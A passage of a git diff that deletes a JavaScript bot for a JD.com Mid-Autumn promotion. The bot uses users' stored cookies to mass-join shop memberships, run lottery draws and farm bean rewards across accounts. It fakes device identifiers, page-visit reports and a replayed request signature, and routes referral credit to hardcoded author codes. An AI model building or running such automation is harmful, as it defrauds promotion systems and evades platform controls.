t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_mid2.js b/backUp/jd_mid2.js deleted file mode 100644 index 17e85e0..0000000 --- a/backUp/jd_mid2.js +++ /dev/null @@ -1,552 +0,0 @@ -/* -“礼”遇中秋 家团圆 - -https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/6531736?activityId=dsfsgffg78dgfd8gfdfe9re8rt8r9ew9 -*/ -const $ = new Env("“礼”遇中秋 家团圆"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - authorCodeList = [ - 'd8a5996671a64399add1cebb30e5b8f0','963d3a3d601f4b50b07ee2c5218720ca' - ] - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.randomCode = random(1000000, 9999999) - $.activityId = 'dsfsgffg78dgfd8gfdfe9re8rt8r9ew9' - $.activityShopId = '1000004065' - $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - await marry(); - await $.wait(3000) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function marry() { - $.log('那就开始吧。') - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> "+$.authorCode) - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - if ($.index === 1) { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) - } else { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - } - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - $.log("->关注店铺") - if ($.shopTask) { - if (!$.shopTask.allStatus) { - await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) - } else { - $.log(" >>>已经关注过了\n") - return - } - } else { - $.log("没有获取到对应的任务。\n") - } - $.log("->->->> 加入店铺会员") - if ($.openCardStatus) { - for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { - $.log("模拟上报访问记录") - await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000002520&pageId=5bfaabad59434bb5bed7552615d0a4e9&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) - await $.wait(2000) - } - t1TaskList = [] - $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) - t2TaskList = [] - $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) - if (t1TaskList.length < 1) { - console.log(" >>>已经完成入会任务") - - } else { - for (const vo of t1TaskList) { - $.log(` >>>去加入${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - for (const vo of t2TaskList) { - $.log(` >>>${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - } - - await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) - - } else { - $.log("没有获取到对应的任务。\n") - } - - } - } -} - -function task(function_id, body, isCommon = 0, own = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'wxActionCommon/getUserInfo': - break; - case 'dz/openCard/activityContent': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode = data.data.actorUuid - console.log(ownCode) - } - $.actorUuid = data.data.actorUuid; - $.skuTask = data.data.addSku; - $.shopTask = data.data.followShop; - } else { - $.log("活动已经结束"); - } - break; - case 'dz/openCard/checkOpenCard': - $.openCardStatus = data.data; - break; - case 'dz/openCard/saveTask': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - case 'dz/openCard/startDraw': - if (data.data.drawOk) { - switch (data.data.drawInfo.type) { - case 6: - $.bean += data.data.drawInfo.beanNum; - $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) - break; - default: - if ($.isNode()) { - await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } else { - $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } - break; - } - } - break; - case 'crm/pageVisit/insertCrmPageVisit': - $.log("==> 上报成功") - - case 'dz/openCard/followShop': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`==>获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o 